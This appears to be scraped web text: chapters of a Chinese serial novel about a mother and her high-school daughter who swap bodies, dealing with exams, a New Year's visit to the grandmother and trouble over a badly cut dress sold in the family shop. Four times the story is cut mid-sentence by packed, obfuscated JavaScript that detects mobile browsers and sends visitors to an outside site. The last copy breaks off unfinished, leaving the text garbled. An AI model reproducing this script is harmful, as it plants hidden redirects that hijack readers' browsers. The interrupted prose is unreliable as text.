就算有时在梦里就意识到自己已经有了本科文凭，她还是会被那种焦虑感完全击穿。 更别说现在，她真的，切切实实地，又回到高三了。 现在南茜唯一庆幸的，是米卡学的是文科。 不是说文科就比理科简单，而是南茜本身就是个文科脑袋。 当初南茜上高二分科的时候，被言淑逼着选了理科。因为老一辈人觉得文科就业面窄，且都是万金油专业。不像理科专业，好就业，学一门手艺，以后怎么都不会饿死。 这一错误决定，导致了南茜在高中和大学都学得异常痛苦。 米卡的学霸属性不是没有来由的，南茜曾经也是个学习勤奋的学生。可饶是勤奋好学，高中的课程毕竟已经是智商的比拼，学不会就是学不会。南茜觉得自己直到高考之前，都还没把物理学明白。而对于英语这样的学科，南茜则是信手拈来的程度。 所以文科对南茜来说会好学很多。 最起码，文科没有什么真正意义上学都学不会的内容。那种学不会的感觉，简直会逼疯南茜。 当然。除了数学。 “米卡，米卡，”同桌卓琳焦急的声音传来，把南茜又从神游里拽了出来。 下一秒，老赵的粉笔头就已经丢到了南茜身上。 “……米卡，”老赵对着南茜缓缓开口，还不忘敲敲黑板，“你站一会儿吧。” 南茜默不作声，也不觉得羞愧，只是上摇摇晃晃地从座位站了起来，还差点撞翻了自己身后的椅子。 她这会儿甚至还有心思担心，“米卡”这个大高个站起来，会不会挡到后面的同学看黑板。 下课铃很快响起。老赵拖了五分钟堂，把最后一道大题讲完，才慢悠悠地离开教室。 离开前他还不忘在班里再提醒一句：“下节课都别猫在教室了，都出去活动活动啊！” 下一节课是体育课。 南茜本以为，高三复习紧张，大家都会喜欢上体育课，其实不然。 到了备考的最后阶段，上什么课都要为高考让路。虽然学校由于政策原因，必须保留体育课，但有很多人为了不浪费学习时间，体育课也选择窝在教室里刷题。 南茜本来也不想去操场了。和其他人不同，她可不是想继续学习，而是想趁此机会补觉。 “走了走了，体育课，快点下楼了。” 南茜没想到，她才在课桌上趴了还没一会儿，老赵竟然又来教室里撵人。 行吧。南茜懒洋洋地跟在大家身后，慢悠悠地向楼梯口走去。 “砰！”南茜没想到，自己好好走着路，竟然会有一个人“飞”到她身上。她一时躲闪不及，还没反应过来，就已经被撞得坐在了地上。 “……啥情况啊？”南茜没还反应过来。 “对不起对不起！”对方很快地站起来，敷衍地道了个歉，就向南茜出来的教室的方向冲去。只留给南茜一个背影。 撞到她的是一个风风火火的少年，一头清爽的短发在阳光下发出黑亮的光泽。少年的声音清冽又软，带着点稚气未脱的青涩。 南茜认得这个男生，他是同班的贾言。 她还记得高二的时候，自己跟着米卡来学校参加家长会，贾言作为学生代表发言。他当时大讲特讲备考状态，并给家长提了不少建议，颇有点想在家长面前“当家作主”的意味。 他是米卡一直以来的劲敌。他和米卡，两人轮流坐文科年级第一的宝座。 他这着急忙慌地干什么呢？ 南茜不明所以。她对此也没有什么兴趣深究，只是站起来，继续往楼下的操场走去。 天气很好。冬天暖暖的太阳晒在身上，让南茜更加昏昏欲睡。 她走到操场上，发现自己班的同学都在自由活动，不由得松了口气。她学生时代体育就很差，样样不及格，而且最怕长跑。想来也是高三体育课没有什么具体的教学任务，都用来让同学们缓解疲劳，释放压力用了。 她沿着跑道慢慢走，看见篮球场、足球场也都有班级在上课，有老师在示范标准动作，也有人在跑道上一圈圈的跑步。 走了半圈后，她在足球场的草坪上坐下来。 年轻真好啊。看着在操场上一圈圈跑着的高中生，身上散发着老土的校服都遮不住的青春洋溢，南茜忍不住感叹。 毕竟自己也是四十岁的人了，女儿都这么大了。 可是她时常还觉得自己就是一个小女生。 真是时间不等人啊！ “喝吗？”南茜正在出神，一瓶可乐忽然递到她的眼前。 她转过头，看见少年坐在她的身旁：“抱歉刚才撞到你了，向你赔礼道歉。” 南茜没有去接可乐，只是看他一眼，便又看向操场：“你小心老师逮着你，说你上课时间喝可乐。” “老师啥时候管过我。”贾言满不在乎地说。也是，在学校里，成绩代表了一切话语权。 好学生就算干什么不合校规的事，只要不很过分，老师都睁一只眼，闭一只眼的。 “你就不好奇我刚才干啥这么着急回教室？”贾言看着南茜的侧脸，问她。 南茜对于这种小屁孩的问题实在是不感兴趣，只瞟了他一眼，“我好奇这个干嘛。” “我去补交外研社杯初赛的报名材料，有两张表落在教室了，这两天就截止报名了。”贾言对南茜的反应很惊奇，“你今年竟然没报这个吗？我还以为你肯定也会报名的。” “呃，那个啊”，南茜一边想，她压根也不知道这事啊，一边敷衍贾言，“那个报名填表要填一堆，太麻烦了”，南茜边说边蜷起腿，抱着自己的膝盖，甚至想将头埋进膝盖里，糯叽叽地说：“最近太累了，懒得去参加了~” “啊？就因为这个不报啊？”贾言有些哭笑不得。又联想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441474|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两天“米卡”频频被老师点名，还被叫家长，忍不住问南茜：“你最近咋了？状态不好？” 他一直明里暗里和米卡较劲，乐此不疲。现在忽然“米卡”对此好像失去了兴趣，也没啥学习的劲头了，这让贾言很不适应。 这也让他很困惑。 一个人，可能一夜之间变化这么大吗？ “没啥啊，就是懒得报啊”，南茜并不想和小男生解释太多。她只觉得，自己现在能把米卡学习上那一摊事搞定，不给自己闺女丢人就已经很难了，何谈再去参加什么比赛？ “我不是只说竞赛”，贾言想了想，把话再说的明白了一点，“就感觉你最近好像都不像你了，你之前从来不会上课睡觉或者走神的。” “哦？你观察我？”南茜抓住了贾言话背后的深意，说话时甚至情不自禁地带了点发现什么秘密的、得意的笑，“还观察得挺细的？” “我……这是重点吗！”贾言忽然涨红了脸，“这还用得着认真观察么？你昨天都被请家长了，还有谁不知道吗？” 哦，也对。 好歹米卡也是班上的学霸之一。常年斩获年级第一，米卡也算是高三的“风云人物”了。 “所以我请问，我有没有被请家长关你什么事呢？”南茜又反问道，“你好好学你的不就得了，老是盯着我干啥？” 贾言毕竟是个小男生，他那点小心思，在南茜这个成年人眼里，昭然若揭。 甚至贾言自己可能都没有注意到。 贾言看着面前的南茜，感觉自己越来越看不懂她了。 准确地来说，是越来越看不懂“米卡”了。她和之前相比，真的像完完全全地变了一个人。 她待人还是冷的，可是和之前的冷又不太一样。 之前米卡的冷是纯“冷”，是拒人于千里之外，是完全把自己看作是竞争对手。对自己，是只有想与之竞争的“狠劲”。 而现在的米卡，贾言完全看不到那种与自己竞争的“狠”劲了。取而代之的，是一种对自己漠不关心的那种“冷淡”。 “米卡”现在看自己的眼神里有一种不屑。这种不屑，和他是不在一个维度的。 她的眼神赤裸裸地在说的一句话是：我懒得和你计较。 可是，怎么会突然懒得和他计较了呢？现在成绩在年级金字塔尖的，只有他和米卡两个人。竞争激烈，不是你死就是我活。 到底哪里不对了呢？ 贾言怎么也想不明白。 “好吧，我跟你说不明白。”贾言词穷，只能抛下这么一句，“但我希望你别这么消沉下去了，祝你早日找回自己的状态。” 说罢，他把那瓶可乐留在南茜面前的塑胶地面上，起身走了。 “喂，你的可乐！就这么不要了吗？”南茜在后面喊。贾言没有再回头看她。 祝你早日找回自己的状态。不然，我真的会很无聊的。 贾言在心里默默补了这么一句。 “神经的小孩。”贾言不知道，自己惺惺相惜的“米卡”看着自己的背影走远，手里掂了掂他留下的可乐，心里却是这样的想法。 “还是我们家米卡性格好。”南茜这么想着，亲妈滤镜直接拉满。 11. 元旦聚餐 临近年底，元旦假期很快如期而至。 南茜和米卡往年都会在这时候一起去言淑家跨年，顺便蹭言淑做的各种好吃的，并且在言淑家借宿一晚。 “今年咋办啊？咱俩这个状况。”米卡愁得不行，捏着眉心问。 “去呗，还能咋办。”南茜满不在乎地看了一眼米卡。 “你不觉得在姥姥面前最容易露馅吗？她是你妈，还是我姥姥，对咱俩都了解得很。咱俩上次，光是不叫错称呼就已经很不错了。这次再借宿一晚，想不穿帮可太难了。”米卡趴在沙发上，恹恹地说。 “那你说咋办？不去不是更奇怪吗？她更会怀疑了。”南茜眼珠往斜上方看了看，一脸无可奈何的平静。 也是。米卡想，如果找借口不去，说谁生病了吧，那老人家马上就会来家里看望；如果说出来旅游了吧，打个视频电话就露馅了。 怎么着都躲不过去。 好吧，自古华山一条道，只有去了。 “姥姥，新年快乐！” 言淑甫一打开门，就收获了南茜一个大大的拥抱。 “卡卡，新年快乐！”言淑也笑着问候南茜，站在原地任由她抱着。 米卡在南茜身后，手里提着大包小包的过节礼品，安静地看着母女俩抱在一起。 “小茜，咋拿这么多东西来啊？”，言淑这才注意到自己“女儿”，轻轻地挣脱“米卡”，上前去接“南茜”手里的东西，“别在门口杵着了，都快进来说话吧！” “小茜，最近店里咋样，还好吧？”言淑招待两人在沙发坐下，就开始和米卡寒暄起来。 “还行吧。”米卡想了想才说，“最近清点了一下库存，对店里的成本进行了核算，还对之前一些款式进行了微调。前两天还跑了一趟面料档口，谈到了一家原创设计面料的合作，大概节后就能有个成果。” 南茜听到一半就想捂脸。这孩子也太实诚了，竟然这么一板一眼地回答了这个问题。 要是自己的话，肯定就一句“还是老样子”就带过去了。 “最近干这么多事啊？”言淑果然觉得很惊讶，“你什么时候这么有上进心了？” 言淑了解自己的女儿。她开店就图一个自己开心，每天有美美的衣服可以穿，打扮得漂漂亮亮的就满足了，她才不管店里经营咋样。店只要不倒闭她就不管那么多。 “额，我偶尔也是会上进一下的吗。”米卡心里冒冷汗，面上还在勉强应对。 “阿卡最近学习咋样？又有考试没？”言淑又转而问南茜。 “就那样吧。”南茜并不想说太多，“最近没啥考试，就是按部就班复习。” 言淑心下还是觉得有点奇怪。 言淑本身是个退休的高中语文老师，以往米卡都愿意和自己多说两句学习上具体的情况，今天咋这么糊弄了？ 米卡看出言淑的怀疑，出来打圆场：“妈，最近阿卡没什么大型考试，都是课堂小测。大考要等春节前了。到那会儿，一轮复习结束，会有一次期末考试。” “你咋好像比阿卡还了解？”言淑听罢更疑惑了，忍不住脱口而出，“你什么时候这么关心阿卡了？” “妈您说什么呢，”米卡微笑了一下，并倾身去拿面前的水杯，企图用喝水掩盖自己的尴尬，“毕竟阿卡现在也高三了，我这个当妈的也不能啥都不知道啊。” 可是，言淑在心里吐槽，对于阿卡的学习，你之前不是确实啥都不知道吗！ 言淑最终什么也没有说。 看了看时间，快到晚上七点了，言淑起身，并照例叫“南茜”：“差不多该做饭了，小茜，你来帮我打个下手，”并招呼“米卡”，“阿卡，你先看会儿电视，放松一下哈！” “啊，我也来帮忙吧？”南茜想着也进厨房，能帮米卡一点是一点。 “不用、不用，”言淑赶忙说，“你平时学习那么辛苦，趁放假好好休息一下。做饭就让我和你妈来就行哈！” 说着，硬把南茜按到了沙发上，不许她起身。 好吧，那我也爱莫能助了。南茜这样想着，递给米卡一个“那我也帮不了你了”的眼神。 南茜想，打下手而已，一般做的也就是洗菜之类简单的活。米卡还不至于没法应付。 可是南茜还是想得简单了。 “咱俩快点弄，争取早点开饭，”一进厨房，言淑就定下了今天晚上做饭的“基调”，“食材我都准备得差不多了，你们来之前我都已经洗好了，就剩一个土豆还没切，切了就可以下锅。” “你先把那个土豆切了，我先把这个青椒炒肉炒出来。”言淑指挥米卡道，“等我这边炒完，你那边正好土豆丝下锅哈。” “……哦，好。”米卡不知所措，硬着头皮举起了菜刀。 她长这么大都还没切过菜，在厨房顶多就是干些洗菜，剥蒜一类的活。 更别说现在给她一个这么大的大土豆子，让她切丝了。 “您可真看得起我啊”，米卡在心里默默流泪。 怎么切来着？米卡踌躇了。 虽然没上手切过，但米卡还是见南茜切过的。 虽然次数基本是个位数，但南茜确实是会做饭的。 米卡心一横，右手拿起刀，左手扶着土豆，心里默念：先切片，再切条，最后切丝…… “啊！”不出意外地，笨拙地切了一会儿后，只听见米卡一声惨叫。 “咋了？”南茜闻声也从客厅进了厨房，“切着手了？” 案板上留下了一点血迹。 “咋这么不小心呢”，言淑叹了口气。她随手把煤气灶关掉，转身去房间找创可贴了。 “……切的时候得这样，把手指头在土豆上立起来，不能平着放，这样容易切着手……” 等言淑回来，她看见“米卡”竟然在教“南茜”切土豆，惊得顿时站在了原地，连创可贴都掉在了地上。 “妈。”米卡先发现了言淑，尴尬地喊了一声。 南茜这才收回了自己“指导教学”的手。 言淑看她俩这样，心下有几分猜测。 过了一会儿，她回过神，捡起地上掉了的创可贴，才淡定地问道：“你们两个，还在玩上次说的‘角色扮演’的游戏吗？” 米卡和南茜一听，心里顿时紧了一下。 言淑发现了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441476|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的秘密了，是吗？ 两人一时不知道作何反应，都呆愣愣地站在原地，什么也说不出。 在言淑面前，她俩活像两个做错事的小学生。 室内忽然很安静。耳朵里只有抽油烟机的轰鸣声。 半晌，言淑松动了自己的语气，道：“算了，你们怎么样都好。无论如何，你们都是我最爱的孩子。”说着，她又重新打开煤气灶，“只是，遇事别强撑。阿卡，让你妈出去，你留下做饭吧。” 言淑这次喊的是米卡。 公历除夕的最后一顿晚饭，很快端上了餐桌。 “新年快乐，新的一年顺顺利利！”言淑率先举杯，似乎已经完全忘记了刚才做饭时的尴尬。 只要一家人在一起，无论那个是女儿，哪个是外孙女，又有什么关系呢。 “这个是米卡的蓝色浴巾，这个是南茜的粉色”，到了夜里，言淑拿着两个孩子的浴巾过来，却把粉色递给“米卡”，蓝色递给“南茜”。 母女两个一起进了浴室。 “你俩分开洗呗？” “不用了，家里热水不是一关就会凉吗，我俩交替洗，就不浪费水了。”南茜解释道。言淑一听，也有理，便不再坚持。 自然，两人是要说些悄悄话的。 “总觉得姥姥已经发现咱俩互换的事实了”，米卡边往头上抹洗发水边说，“她都已经表现得很明显了”。 “发现就发现吧，她不会为难我们，也不会拆穿我们的。你没看出来吗？”南茜满不在乎地说。 确实。言淑不会追问。两个都是她自己的孩子，她充分相信她们。 夜深了。米卡想要坚持跨年，却还是不敌困意，先睡过去。临睡着前还不忘叮嘱南茜：“快到零点了叫我。” “好。”米卡觉得，今天的南茜异常的温柔。 “妈？”等米卡睡着，南茜见言淑走进她们的卧室，轻轻叫了一声。 “你是南茜吧。”言淑皱着眉开口，她看着“米卡”的脸，用的却是笃定的语气。 “是。”事到如今，南茜知道，也没有必要再隐瞒。 “是怎么变成这样的？” “我和米卡也不知道。而且不知道怎么再变回来。” “唉，咱家人好像祖上也有这种情况。”言淑叹了口气，“你的姥姥和她的妈妈，也就是你的太姥姥，年轻的时候好像也互换过。咱俩倒是没有经历过。” “那之后她们变回来了吗？” “好像是变回来了，你姥姥也走得早，我印象也不深了。”言淑接着说，“唯有一点，互换以后，你更要保护好该保守的秘密。米卡毕竟还小，再大点，最起码等高考以后再告诉她。” “我知道。”南茜认真地看着言淑的眼睛。 “零点了吗？”米卡被两人的谈话声吵醒。睁开眼，看到言淑也坐在床边，一时不敢多说话。 “还有一分钟。”南茜拍拍米卡，就好像她还是一个小孩子。 “新年快乐！” “新年快乐，快睡吧！” 米卡看着南茜和言淑温柔的表情，道完“新年快乐”，很快就又坠入了梦境。 12. 春节爆款上市 元旦假期，母女俩总算是有惊无险地过关。假期过完，农历新年也越来越近了。 这天一早，米卡刚到店里不久，就有辆小货车停在了店门口。 和往常一样，还是工厂李老板亲自开车来送货，这是位和南茜年龄相仿的大叔。 他从车上走下来，笑呵呵地打招呼：“老板，我来送货了。” “最近要上一批‘春节专供’的‘新年战袍’，大概今天工厂会去店里送货，你按照这个单子清点一下”，前一天睡前，南茜才和米卡交代过，并发了米卡一个供货单，看来这送来的就是了。 “好嘞。麻烦您了。”米卡一边应着，一边看着李老板把车上一个个大纸箱搬下来，扛进店里。 看来这批货还不少。 “1，2，3，4，5，6，7，ok，就这么多了。”李老板清点完七个箱子，站起身来，“南老板，那没什么事我就先走了。” “好的，今天谢谢您了。”米卡向老板道谢。 “跟我还客气什么？”李老板很不习惯米卡这么“客气”的画风，笑了一下走了。 如果是真的南茜，会说“改天请你吃饭”。 虽然没人见过南茜请吃的饭是什么样。 南茜目送李老板离开，才把目光放到了刚送过来的这批货上。 打开箱子，全是红灿灿的新年款。 有短款的红色针织小裙子，红色的小香风上衣，红色的毛呢大衣…… 最引人瞩目的，压箱底的，是今年春节档主打的“过年战袍”，一个连衣裙套装。 这个套装里外面是件外搭，里面是一件可爱风的红色连衣裙。 连衣裙的领子是可爱的白色娃娃领，袖口和裙摆有白色的毛领；裙子掐腰处两侧有两个白色的蝴蝶结，上面垂下来的还有红色的流苏。外搭扣子采用了新中式的盘扣，大衣中间两边带着繁复的刺绣，扣上扣子两边的图案合为一体，是一条“龙”的图案，看起来相当重工。 这套真的好华丽。 米卡拿出南茜给她的报价单核对，不出她所料，这款的价格也是最高的。 “你好”，当她刚把这几件新到的“战袍”在店内和直播间都挂好，就有个小姑娘来问这件，“这件是新上的过年款吗，好可爱！” “啊，对的，这个才挂上去”，米卡一点也不吃惊这款会受欢迎，“喜欢的话可以试一下哈。”说着，给小姑娘指了指试衣间的方向。 小姑娘拿着衣服进去，换好连衣裙，套上外搭，就出来照镜子。 酒红色针织拼丝绒，长袖收腰，下摆是微 A 字伞摆，长度刚好盖过膝盖，加了一层薄绒，保暖又显身段。 在店里暖黄灯光的映衬下，穿上这件连衣裙的小姑娘，就像个白雪公主一样美。 “这件真的好适合过年穿”，小姑娘难掩激动地问米卡，“这件多少钱？” “可以再试一下外搭，一套399，现在店铺有399减50的活动，一共349.”米卡看了看最近的店铺活动，才回答她。 小姑娘把外套搭在外面，大衣外面的刺绣精致，敞着穿看着随意又优雅。 “我要一套这个。”小姑娘立刻就决定买下。 “哎这个款好好看，是哪个啊？”正当小姑娘准备回更衣室换衣服的时候，又有一个中年女人来问。 “是这款阿姨。”米卡把挂在架子上的同款指给她看。 “这个料子看着也不错，过年闺女穿这个正好”，阿姨摸了摸裙子，很满意，“给我拿一身M的吧。” 米卡没想到，这身套装卖得这么火爆。才送来一会儿的功夫，已经卖出去两套了。 接下来的这个下午，米卡按照南茜的“指示”，把这批过年新衣做了链接挂到线上，并做好了功课准备直播。 在她做这些事的间隙里，一下午的时间，又有三个顾客拿了那身外套+连衣裙的过年套装。 看今天的势头，米卡很有信心，尤其是过年套装，在线上也一定能卖爆。 很快到了晚上直播。 “这套是我们家新上的春节新款，主打一个喜庆氛围。大家可以看一下这个材质，是质量很好的绸缎质地，外套的做工也都是很好的……” 如今米卡也渐渐熟悉了直播的流程，介绍起产品轻车熟路。 更何况这套套装今天才上新一天，就已经卖得这么好了，米卡心里也是前所未有地自信。 “这套好好看，下单了” “老板，过年套装拍几号链接” “这套好适合过年，拍一套试试”； 米卡看着弹幕，觉得果然是不出自己所料，她一边微笑着一边熟稔地重复：“过年套装在置顶的1号链接，看中了就可以下单哈亲，先下单先发货。” “我给大家试穿一下哈。”米卡说着，起身拿起准备好的S号的套装，穿好，“大家可以看下，这身剪裁都是很合身的，裙摆还有一些小装饰增加裙子的甜美感，穿出去过年参加聚会都可以惊艳全场……” 米卡说着，不经意地抬了下胳膊。可是这个动作，让米卡觉得整条胳膊好像都被箍住了一样，整个裙子都往上窜了。 这出乎了米卡的意料。 她的笑容有一瞬间僵在脸上。但她转念一想，可能是这件剪裁偏小了，况且感觉也不明显，放下胳膊就什么不舒服的感觉都没了，也就没有在意。 这晚的直播照例继续进行。直到正常下播，这套过年套装已经拍出了100多件，这已经是米卡之前想都不敢想的数字了。 这才是一晚上的销量啊！ 米卡高兴地乐开了花。 晚上收工，等南茜一进家门，她就迫不及待地和南她分享了这个好消息。 “你也不看看谁设计的，”南茜满不在乎地把书包往沙发上一扔，“为了迎接今年春节，这几身衣服我做的可是煞费苦心，尤其是主打的这套套装”，她喝了一口水，继续道，“就指着咋套衣服骗，哦不，赚钱呢！” “你开服装店就是冲着‘骗’钱去的吗……”米卡真没想到。 “哦对了，”说话间，米卡又想起一件事，对看着南茜正在脱校服的身影道，“今天白天我收到老彭的消息了，他把布料的样品照片发给我看了，挺好看的，我回了我觉得还行。他让我明天去店里看实物。” 叫“POPO彭”太拗口，叫彭其山太呆板，米卡选择和班主任“老赵”一样的称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441478|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼方式。 “去呗，你办事我放心。”南茜正乐得当甩手掌柜，巴不得店里的事啥都不管。 毕竟她心里门清，米卡比自己确实靠谱多了。 “你就不怕他对你有什么企图？他对你这个老同学一路绿灯，怕不是事出反常必有妖。”米卡打趣她。 “他能有什么企图？自闭怪人一个。”南茜失笑。她把自己脱了个精光，正裹上浴巾准备进浴室，“有便宜不占不是傻子吗？” 说着，南茜就走进了浴室，里面很快响起了淋浴的水声。 米卡叹了口气。 老彭那边到现在还没有谈价格啊，说是按成本价，谁知道他会不会拿“宰客”的价格当“成本价”？ 碍于老同学的面子，一般人都会不好意思还价吧。 今天的作业南茜也还没给我，米卡想。她觉得自己很累，南茜可以不管店里的事，她却不能完全不管自己的学习。 米卡在心里还有一丝微小的希望，希望有朝一日能结束这种互换。 她想，如果直到高考她们还没换回来，她可能会恨透南茜。 她会觉得，自己这辈子都没法逃离这个糟糕的家，逃离这个不靠谱的妈妈了。 “对了米卡，”南茜一从浴室出来就大嗓门地喊米卡，把她从神游中拉了回来，“你那个竞争对手有点意思啊，那个小男生，他今天说我状态不太对，还挺担心我的样子~” “……这是什么情况啊？”南茜一脸八卦的表情问米卡。 “能是啥情况？你觉得能有啥情况？”米卡白她一眼，“大姐我现在是高三，难道还有心思想啥有的没的？” 米卡想，我无非就是想离开这个家，越远越好。 可是下意识地，她又不想让南茜现在就知道自己的想法。 年级第一和年级第二的差距，可能就是清北和985的差距。米卡很清楚。 没有成绩，什么都是空谈。她心里只有未来的海阔天空，怎么可能汲汲于眼前的人情事故? 南茜看着这样的女儿，心里暗暗叹了口气。 她能读懂女儿眼里复杂的情绪，只是在想，怎样才能让她不要在自己的肩上扛这么多东西？ 可是，自己能帮到她的，实在有限。 这样想着，她拿出今天的作业，递给米卡。 “数学，前面的我都替你写了，后面还有两页。前面你最好也帮我看一下有没有问题。” “英语我都帮你写完了，这个应该没啥问题。” “文科作业也都做完了。” “好”，米卡看了下，语气平静地应她。这对于她来说，已经是很轻的工作量。 这一刻米卡才意识到，南茜也在帮她尽量承担压力。即使对于一个成年人，高三的压力也是不容小觑的。 学习的苦和生活的苦，其实不存在哪个更苦。因为在心理上，可能“等死”比真正的“死”相比，是更可怕的事情。 作为一个悲观主义者，米卡很清楚这个。 托南茜的福，那晚仅有两页的数学题很快被米卡解决。米卡久违地睡了个好觉。 这时她还不知道的是，第二天，店里的平静生活就要被打破了。 13. 版型风波 “叮咚”，第二天一早，当米卡还走在去店里的路上，手机就收到一条淘宝用户消息。 她点开一看，是一位收到货的顾客拍的一张照片，正是昨天卖爆了的那套“过年战袍”。 米卡不明所以，等了对面半天，不见有消息发来。于是她问了一句：“您好，请问有什么可以帮您？” “你家这个衣服，剪裁有问题。”对面说着，又发来一条视频，是顾客穿上身的展示，照片里顾客抬胳膊的时候，能很明显地看见整个裙子都往上窜，袖子那里也皱得厉害。 “你这抬不起胳膊，还卡肩，并且腰那里很费劲才穿进去的，胸那里也很紧，侧面拉锁好不容易才拉上。” 顾客发完视频，又噼里啪啦地说了一大堆。 米卡心里有一瞬怀疑，因为昨天晚上她试穿的时候，也觉得肩膀有点卡。可是腰那里并不费力，拉链也很顺滑。 于是她想了想，回道： “亲，您这个情况应该是选的号小了，您看您是退货还是换个大一号的再试一下？” “对方正在输入”闪了几闪，米卡收到一条消息：“算了太麻烦了，那我退了吧。” 紧接着，一条退货消息传来。 米卡叹了口气，处理了退货消息。并叮嘱顾客把衣服寄回。 “您这个衣服有问题啊，我能退了吗”，米卡才一进门，就听见昨天第一个来买套装的小姑娘的声音，在店里响起。 “什么情况？”米卡看小姑娘正在和文烁说话，上前询问。 “就是昨天买的这身衣服”，小姑娘拿给米卡看，“这身我穿上勒胳膊。昨天在店里试的时候没注意，回家又拿出来试才发现的，胳膊都抬不起来。” “要不，您拿一件大一号的再试试？”米卡说着，找了一件L号递给她。 小姑娘拿着衣服，进了试衣间。 “……额，好像还是不太行。”小姑娘走出来，说，“胳膊还是勒，怎么换了个号感觉一样呢。” “……这样啊”，米卡叹口气，“那就退了吧，可以退的。” “好吧。”小姑娘回试衣间换回自己的衣服，有些失落地说，“我还很喜欢这个款式的，看了好多过年战袍，就这个最好看。可惜不合适。” “您可以再看看其他款哈。”米卡习惯性地招揽生意。 “算了，其他没什么喜欢的了。”小姑娘再没有了买衣服的兴致，说着就往店外走。 “叮咚”，小姑娘刚走，米卡连叹气都还顾不上，听见消息，又拿起手机。 这次竟然直接是一个差评。 “衣服剪裁有问题，袖子勒胳膊，根本不能穿。姐妹们避雷，以后再也不买了。” 米卡头皮发麻。之前再怎么样也不会直接吃差评的。 她找到差评顾客，决定沟通一下。 “您好，我看您给了个差评，请问是什么原因不满意呢，我们好针对性地改进一下。” “我说的很清楚了啊。你家衣服剪裁有问题。” “抱歉给您带来不好的体验，咱们家有运费险，可以免运费退换货的。您看不满意可以给您退换一下，可以先把差评撤了吗？”米卡硬着头皮回复。 “咋的，你们家衣服有问题，还不让人说了？我的目的是为了不让其他顾客踩雷。”对面理直气壮地回复。 “我也是你家老客户了，天天在你家买衣服。这次的新品很好看，不然我也不会一上就拍了。”对面继续竹筒倒豆子，“但是这次的版型是真的有问题，实在没法穿。” “版型应该没问题的，可能是您的尺码小了，”米卡还在坚持。她一咬牙，给对方回复道，“这样吧，您手里那件不用退回，我给您补发一件大一号的，您再试试，咱先把差评撤了，行不？” “行吧。那你们先发货，发出了我再撤差评。” 眼见对面松口，米卡总算松了一口气。她赶快找出一件大号的，装盒准备发货。 然而，只是这一会儿功夫，那条差评挂着，事件也还在持续发酵。 等快递员终于把寄出的衣服取走，米卡拿起手机准备填单号，看见那条差评下面已经炸开了锅。 “我说为啥这件我试了有点勒胳膊，原来是剪裁有问题吗。” “我试了也不太行” “正犹豫要不要退呢，真的是衣服有问题啊” …… 与此同时，线上要求退货的、换货的人，也越来越多。 在处理退换货的间隙，米卡想了想，在套装的链接里加了一个选项，用来写备注：此套装尺码偏小，建议拍大一号。 “算了，剩下的换货快递都等着下午快递员一起来收吧。”她看着那条被默默撤掉的差评，米卡摆烂地想着，把手机扔到了一边。 “你们家这件衣服”，一个中年妇人这时怒气冲冲地闯进店里，“穿两次腋下就开线了，这质量也太差了吧！” 说着，她把昨天才买的“过年战袍”扔到了米卡身上。 米卡一看，好好的连衣裙已经惨不忍睹：腋下的开线一直延伸到腰部，丝丝缕缕的线头纠缠在拉链处，拉链都被卡住拉不开了。 “怎么能穿成这样的？”米卡下意识一问，却没想到点燃了中年妇人的火药桶。 “你家衣服质量不行，你还问我？”妇人的嗓门不禁又提高了八度，“我女儿里面就搭了件稍微厚点的内搭，就变成这样了，拉锁怎么也拉不上，袖子就已经崩成这样了。” “您消消气。”米卡怯怯地劝道，“那不然我拿个大号的，您再拿回去让您女儿试试？” “还用试吗？”妇人依旧怒气不减，她继续咆哮道，“穿这个裙子的时候，我女儿就好像在钻铁桶似的，谁家的衣服也没有这么做的啊！退了吧退了吧！” 米卡不再做声，收回已经破了的裙子，把钱退给了妇人。 “你啥时候来？” 转眼到了下午。米卡收到彭其山的消息，才想起前一天和他约了去店里看布料。 一上午退货换货的，早把他忘干净了。 她只得交代文烁看店，自己前往面料市场档口。 “呦，来了。” 当米卡赶到，彭其山早就等在店里。他把米卡迎进门，还不忘问一句，“不是说让你上午来吗？” “别提了，有件衣服做的尺码偏小了，好多退换货的，一上午忙都忙不过来。”米卡随口一提，不想多说，“样品呢，让我先看下吧。” 彭其山拿给米卡看成品的布料。 是第一眼看过去毫不起眼的，平平无奇的小熊图案，在素雅的淡粉色纯棉面料上平铺。 但特别就特别在，每一个小熊都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 